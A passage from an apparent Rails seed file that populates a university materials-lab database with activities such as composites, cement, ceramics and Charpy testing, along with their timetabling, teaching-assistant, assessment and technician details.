$mbce.id, uni_module_id: UniModule.where(code: \"AMR236\").first.id, code: \"201\").first_or_create!(name: \"Composites 1\",\n name_abrv: \"COMP1\", archived: false, in_drive: false, user_id: 3)\n at424 = ActivityTimetable.where(activity_id: a424.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a424.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a424.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a424.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a424.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a424.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a425 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"201\").first_or_create!(name: \"Composites 1\",\n name_abrv: \"COMP1\", archived: false, in_drive: false, user_id: 3)\n at425 = ActivityTimetable.where(activity_id: a425.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a425.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a425.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a425.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a425.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a425.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a426 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR236\").first.id, code: \"202\").first_or_create!(name: \"Composites 2\",\n name_abrv: \"COMP2\", archived: false, in_drive: false, user_id: 1)\n at426 = ActivityTimetable.where(activity_id: a426.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a426.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a426.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a426.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a426.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a426.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a427 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"202\").first_or_create!(name: \"Composites 2\",\n name_abrv: \"COMP2\", archived: false, in_drive: false, user_id: 4)\n at427 = ActivityTimetable.where(activity_id: a427.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a427.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a427.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a427.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a427.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a427.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a428 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2350\").first.id, code: \"203\").first_or_create!(name: \"Artefacts Project\",\n name_abrv: \"ARTEFACTS\", archived: false, in_drive: false, user_id: 3)\n at428 = ActivityTimetable.where(activity_id: a428.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a428.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a428.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will analyse an artefact and use various characterisation techniques to analyse its properties and materials. They will use FTIR, XRD, SEM, DSC and variuos mechanical testing techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a428.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a428.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a428.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a429 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"204\").first_or_create!(name: \"Atomic structure\",\n name_abrv: \"ATOMIC\", archived: false, in_drive: false, user_id: 1)\n at429 = ActivityTimetable.where(activity_id: a429.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a429.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a429.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a429.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a429.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a429.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a430 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"20\").first_or_create!(name: \"Atomic Structure\",\n name_abrv: \"ATOMIC\", archived: false, in_drive: false, user_id: 5)\n at430 = ActivityTimetable.where(activity_id: a430.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a430.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a430.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a430.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a430.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a430.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a431 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"205\").first_or_create!(name: \"Cement making\",\n name_abrv: \"CEMENTMAKING\", archived: false, in_drive: false, user_id: 5)\n at431 = ActivityTimetable.where(activity_id: a431.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a431.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a431.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a431.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a431.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a431.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a432 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"206\").first_or_create!(name: \"Cement making and testing\",\n name_abrv: \"CEMENT\", archived: false, in_drive: false, user_id: 4)\n at432 = ActivityTimetable.where(activity_id: a432.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a432.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a432.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a432.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a432.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a432.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a433 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"207\").first_or_create!(name: \"Cement Testing\",\n name_abrv: \"CEMENTTESTING\", archived: false, in_drive: false, user_id: 3)\n at433 = ActivityTimetable.where(activity_id: a433.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a433.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a433.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To gain experience in the basic processes involved in cement hydration, the effect of mix design parameters on mortar rheology and strength. How to deal with statistical variation associated with the destructive testing of brittle materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a433.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a433.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a433.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a434 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"200\").first_or_create!(name: \"Ceramics I\",\n name_abrv: \"CERAMICS1\", archived: false, in_drive: false, user_id: 4)\n at434 = ActivityTimetable.where(activity_id: a434.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a434.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a434.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a434.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a434.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a434.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a435 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"208\").first_or_create!(name: \"Ceramics II\",\n name_abrv: \"CERAMICS2\", archived: false, in_drive: false, user_id: 4)\n at435 = ActivityTimetable.where(activity_id: a435.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a435.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a435.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a435.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a435.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a435.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a436 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"208\").first_or_create!(name: \"Ceramics II\",\n name_abrv: \"CERAMICS2\", archived: false, in_drive: false, user_id: 3)\n at436 = ActivityTimetable.where(activity_id: a436.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a436.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a436.id).first_or_create!(criteria: \"Hands-on experience on either key material characterisation techniques such as XRD, DSC, and SEM.\",\n job_desc:\"To construct a phase diagram for the solid solution Ba1-xSrxTiO3 using experimental data from a combination of experimental techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a436.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a436.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a436.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a437 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR336\").first.id, code: \"209\").first_or_create!(name: \"Characterisation of unknown polymers\",\n name_abrv: \"UN_POLY\", archived: false, in_drive: false, user_id: 3)\n at437 = ActivityTimetable.where(activity_id: a437.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a437.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a437.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a437.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a437.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a437.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a438 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"210\").first_or_create!(name: \"Charpy notch testing of steel\",\n name_abrv: \"CHARPYNOTCH\", archived: false, in_drive: false, user_id: 1)\n at438 = ActivityTimetable.where(activity_id: a438.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a438.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a438.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a438.id).first_or_create!(assess_weight: nil, notes: \"No assessments\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a438.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a438.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a439 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"211\").first_or_create!(name: \"Composite making\",\n name_abrv: \"COMPMAKING\", archived: false, in_drive: false, user_id: 2)\n at439 = ActivityTimetable.where(activity_id: a439.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a439.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a439.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a439.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a439.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a439.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a440 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR219\").first.id, code: \"212\").first_or_create!(name: \"Composite making and testing\",\n name_abrv: \"COMPOSITES\", archived: false, in_drive: false, user_id: 5)\n at440 = ActivityTimetable.where(activity_id: a440.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a440.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a440.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a440.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a440.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a440.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a441 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR331\").first.id, code: \"212\").first_or_create!(name: \"Composite making and testing\",\n name_abrv: \"COMPOSITES\", archived: true, in_drive: false, user_id: 5)\n at441 = ActivityTimetable.where(activity_id: a441.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a441.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a441.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a441.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a441.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a441.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a442 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"213\").first_or_create!(name: \"Composite testing\",\n name_abrv: \"COMPTESTING\", archived: false, in_drive: false, user_id: 4)\n at442 = ActivityTimetable.where(activity_id: a442.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a442.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a442.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a442.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a442.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a442.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a443 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"214\").first_or_create!(name: \"Concrete Making and Testing\",\n name_abrv: \"WOODCOMP\", archived: false, 